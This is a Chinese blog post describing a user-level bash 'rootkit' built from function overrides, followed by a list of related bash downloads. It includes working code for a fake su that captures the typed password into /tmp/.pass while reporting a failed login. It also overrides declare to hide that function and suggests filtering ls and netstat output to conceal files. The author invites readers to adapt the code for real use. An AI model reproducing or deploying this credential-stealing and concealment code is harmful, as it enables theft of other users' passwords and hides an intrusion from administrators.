08年的一个文章,最近翻自己BLOG的时候看到的,觉得还蛮有意思的,记录下,有空实现下,就当练shell了。
一个绝对YY的bash rootkit,纯属搞笑性质,各位看官莫要较真。
bash执行命令的流程:别名->函数->内置命令->外部程序。
可以自己构造函数来实现重载掉外部程序的执行。看例子:
[xiaoyu@localdomain ~]$ function su { echo “Hello world”; }
[xiaoyu@localdomain ~]$ su
Hello world
[xiaoyu@localdomain ~]$
执行的是我们定义的函数,实际的/bin/su并没有执行
可以YY个偷密码的function:
[xiaoyu@localdomain tmp]$ function su { echo -n “Password:”; stty -echo; read pass;echo “”; echo $pass >> /tmp/.pass ; sleep 3; echo “su:incorrect password”; stty echo;}
[xiaoyu@localdomain tmp]$ touch /tmp/.pass
[xiaoyu@localdomain tmp]$ chmod a+w /tmp/.pass
[xiaoyu@localdomain tmp]$ su
Password:
su:incorrect password
[xiaoyu@localdomain tmp]$ cat /tmp/.pass
123456
[xiaoyu@localdomain tmp]$
很显然,我上面给出的示例代码不完全,各位想要直接用代码的还得自己改改,比如偷完密码后取消su的函数定义等等。否则每次输入都不对,可就露馅啦,呵呵。
bash有个declare -f 命令,可以查看定义的函数
[xiaoyu@localdomain tmp]$ declare -f
su ()
{
echo -n “Password:”;
stty -echo;
read pass;
echo “”;
echo $pass >> /tmp/.pass;
sleep 3;
echo “su:incorrect password”;
stty echo
}
看见没,全出来了,不过还好bash的执行顺序让我们也可以重载它
[xiaoyu@localdomain ~]$ function declare { echo “Command not found”; }
[xiaoyu@localdomain ~]$ declare -f
Command not found
瞧见没,木有了吧,呵呵。
恩,现在回到标题上来,为什么叫YY bash rootkit?咋没见到rootkit的影子呢?你可以重载ls,netstat ,先执行下二进制文件,把它的执行结果存下来,比如result=`/bin/ls` 然后用个正则过滤下再显示。具体的代码我再这就不给出了。
Bash rootkit的好处是你只有普通用户权限也可以安装,比如我们要在普通用户帐号下藏个文件,放点东西什么的都可以。
恩,就这么多了,下次想起什么再写吧。
分享到:
相关推荐
brootkit, bash shell 脚本v0.10实现轻量级 rootkit 使用 bash shell 脚本v0.10实现的######BROOTKIT 轻量级 rootkitby wzt 2015 wzt.wzt@gmail.comIf bash shell scripts can be des
实现一个简单的bash,希望给大家有所帮助。。
福州大学linux作业:编写一个Bash脚本,它可以打印出下面的菜单,并提示输入一个字符来选择其中的一个选项,菜单如下。。。
一个Bash Shell 实现的局域网即时通信工具 ^_^.docx
Dropbox Uploader一个Bash脚本可用于上传、下载、取出或删除来自Dropbox的文件
pushbullet-bash - PushBullet API的一个Bash接口
bash官方手册/Bash Reference Manual
一个bash脚本,旨在使用基本参数解析创建其他bash脚本
BASH官方文档,BASH官方文档,BASH官方文档
linux 服务器GNU Bash小于版本4.3有操作系统命令注入漏洞,需要对bash升级,下载解压 #tar zxvf bash-4.4.tar.gz #cd bash-4.4 #./configure (如果centos7编译失败,请先安装#yum install gcc) #make #make ...
2..bashrc文件会在bash shell调用另一个bash shell时读取,也就是在shell中再键入bash命令启动一个新shell时就会去读该文件。这样可有效分离登录和子shell所需的环境。但一般 来说都会在.bash_profile里调用.bashrc...
bash 入门经典 不可不看哦 bash 入门经典 不可不看哦 bash 入门经典 不可不看哦
bash-assert 一个轻量级的bash单元测试框架
RHCERHCE bash RHCE bash RHCE bash RHCE bash RHCE bash RHCE bash RHCE bash bash
linux-torque一个用纯bash编写的transmissiondaemonTUI客户端
一个很不错的bash脚本编写教程,至少没接触过BASH的也能看懂!
官方的bash手册 讲述bash脚本语法规范 和linux相关配置 很好的资料
bash-3.0-27.0.3.el4.i386.rpm bash-debuginfo-3.0-27.el4.4.i386.rpm 2、rhel 4.x 64位 bash-3.0-27.el4.x86_64.rpm bash-debuginfo-3.0-27.el4.4.x86_64.rpm 3、centos5.x_32 bash-3.2-33.el5.1.i386.rpm bash-3.2...
redhat bash漏洞补丁包含文件:bash-4.1.2-15.el6_5.2.i686.rpmbash-4.1.2-15.el6_5.2.x86_64.rpmbash-3.0-27.el4.i386.rpmbash-3.0-27.el4.x86_64.rpmbash-3.2-33.el5_11.4.i386.r... redhat bash漏洞补丁 包含文件...
一行bash命令集合的仓库